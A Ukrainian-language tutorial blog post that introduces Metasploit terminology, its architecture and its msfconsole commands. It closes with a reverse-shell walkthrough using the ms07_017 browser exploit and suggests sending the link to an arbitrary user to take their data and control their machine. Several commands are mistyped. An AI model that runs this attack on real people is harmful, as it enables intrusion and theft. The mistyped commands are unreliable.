What is Metasploit? And what you need to know about it

Metasploit framework- є повністю безкоштовний framework створений H. D. Moore в 2003 році, який згодом був куплений Rapid7. Написано цей фреймфорк мовою Ruby. Metasploit має найбільші бази даних уразливостей і приймає близько мільйона завантажень щороку. Він також є одним із найскладніших проектів на сьогоднішній день, написаних мовою Ruby. І зроблено для того, щоб бути в курсі про вразливості які знаходяться в тих чи інших програмних забезпеченнях, щоб зробити ваш продукт захищенішим, ніж він може бути.

TOOLS FOR FIND VULNERABILITY

Логин Свят

1/3/20231 min read

Давайте для початку почнемо з того, що таке цей Metasploit framework і розберемося трохи з термінологією, щоб було зрозуміло що ці слова означають. І поїхали:

Metasploit framework - є повністю безкоштовний framework створений H. D. Moore в 2003 році, який згодом був куплений Rapid7. Написано цей фреймфорк мовою Ruby. Metasploit має найбільші бази даних уразливостей і приймає близько мільйона завантажень щороку. Він також є одним із найскладніших проектів на сьогоднішній день, написаних мовою Ruby. І зроблено для того, щоб бути в курсі про вразливості які знаходяться в тих чи інших програмних забезпеченнях, щоб зробити ваш продукт захищенішим, ніж він може бути.

Вразливість (Vulnerability) - це слабке місце, так би мовити п'ята Ахілеса, яка дозволяє зловмиснику зламувати цільову систему. Вразливість може існувати в операційних системах, програмах, службах тощо.

Експлоїт (Exploit) - це код за допомогою якого зловмисник може зламати систему, програму і т.п., у якої є вразливість. Кожне слабке місце має власний відповідний експлойт.

Payload  - це код, який виконується після експлоїту. В основному використовується для налаштування зв'язку між жертвою та атакуючим.

Давайте спробую показати на зображенні для більш детального розуміння цих слів.

І так, як ми бачимо стрілочку з назвою Vulnerability, вона вказує на вразливість у пагорбі (під пагорбом маємо введення ОС, DB тощо), куди може просочитися наш так званий підготовлений набір скриптів Exploit, який спровокує вибух у нашій системі (а саме доступ до ОС, зміна логіки чи передачу даних користувача віддалено). Ну а в кінцевому підсумку виконаємо, після відпрацювання злоскрипта, виконаємо наступний скрипт Payload, тобто те, що ми хочемо, щоб в цій ОС, DB сталося на нашу. Сподіваюся, я доніс ідею того, як працює ця вразливість.

А тепер перейдемо до архітектурного вигляду нашого framework:

У Metasploit входять різні види бібліотек, які відіграють велику роль у функціонуванні framework. Ці бібліотеки є набором заздалегідь визначених завдань, операцій та функцій, які можуть бути використані різними модулями системи. Найбільш фундаментальна частина framework написана мовою Ruby Extension (Rex). Деякі компоненти Rex включають підсистему сокетів (wrapper socket subsystem), реалізацію клієнтських та серверних протоколів, реєстрацію підсистеми (logging subsystem), exploitation utility classes, а також низку інших корисних класів.

Далі є бібліотека MSF Core, яка розширює Rex. Core несе відповідальність за виконання всіх необхідних інтерфейсів (required interfaces), які дозволяють взаємодіяти з експлоїтами, модулями, сесіями та плагінами.

Metasploit складається з чотирьох так званих інтерфейсів користувача:

- msfconsole

- msfcli

- msfgui

- msfweb

Установка Metasploit доступна для всіх Linux дистрибутивів, в Linux kaly він йде вже прямий з коробки. Завантажте Metasploit з оф сайту.

Перед тим як почати застосовувати exploits і payloads на цільовій машині, ви повинні знати основи про них. Важливо зрозуміти, як використовувати експлоїти, щоб не допустити поширені помилки, які можуть виникнути через неправильну конфігурацію параметрів.

Для того, щоб почати використовувати експлоїти, потрібно просканувати цільову машину за допомогою утиліти Nmap. Про те, як користуватися ним, можете прочитати іншу мою статтю, перейшовши за посиланням. Після того, як зібрано достатньо інформації про мету, слід. кроком буде вибір відповідного експлоїту.

Давайте пробіжимося за деякими командами, які застосовуються разом з експлоїтами:

show payloads і show exploits - ці дві команди показують список доступних експлоїтів і payloads. наприклад:

1 msf exploit(ms03_026_dcom) > show options

2 Module options (exploit/windows/dcerpc/ms03_026_dcom):

3 Name Current Setting Required Description

4 — — — — — — — — — — — — — — — — — — — -

5 RHOST yes The target address

6 RPORT 135 yes The target port

search exploit  - команда шукатиме конкретний експлоїт, наприклад

1 msf > search ms03_026_dcom

2 Matching Modules

3 ================

4 Name Disclosure Date Rank Description

5 — — — — — — — — — — — — — — — — — -

6 exploit/windows/dcerpc/ms03_026_dcom 2003–07–16 great Microsoft RPC DCOM

use exploit - команда встановлює експлоїт в активний стан, тобто. ним можна користуватися. наприклад:

1 msf > use exploit/windows/dcerpc/ms03_026_dcom

2 msf exploit(ms03_026_dcom) >

set  -  Ця команда задає значення для параметрів/опцій в експлоїті, див. команду. наприклад:

1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102

2 RHOST =>102.168.56.102

3 msf exploit(ms03_026_dcom) >

show targets - кожен exploit створений для атаки на конкретну службу / сервіс. Ця команда показує, які цілі можуть бути атаковані, наприклад:

1 msf exploit(ms03_026_dcom) > show targets

2 Exploit targets:

3 Id Name

4 — — —

5 0 Windows NT SP3–6a/2000/XP/2003 Universal

А тепер можемо потренуватися з такою вразливістю, як ms07_017. Яка дозволяє зниферити всі дані користувача, який перейшов за посиланням, яке дамо йому. Приклад як це робити, я показав у відео вгорі статті.

Для початку нам потрібно знайти її повний шлях, тому виконаємо команду:

search ms07_017

Потім заюзати цей експлоїт командою:

use exploit/windows/brouser/ms07_017_ani_loadimage_ chunksize

Дивимося інформацію про цей експлоїт, що саме нам треба додати для повноцінного користування. Пишемо команду:

show option

Потім бачимо, що нам потрібно задати payload, тобто ОС на яку відбуватиметься атака. Для цього використовуємо команду:

set Payload windows/shell/reverse_tsp

Бачимо також, що від нас потрібно задати ip свого компа, тому пишемо команду + свій айпі:

set LHOST 192.168.52.159

Можемо тепер свій айпі кинути якомусь користувачеві і він перейшовши на неї передасть нам повністю всі свої дані, а так само відкриє доступ до свого комп'ютера, що дасть можливість навіть створювати папки, читати файли і тд.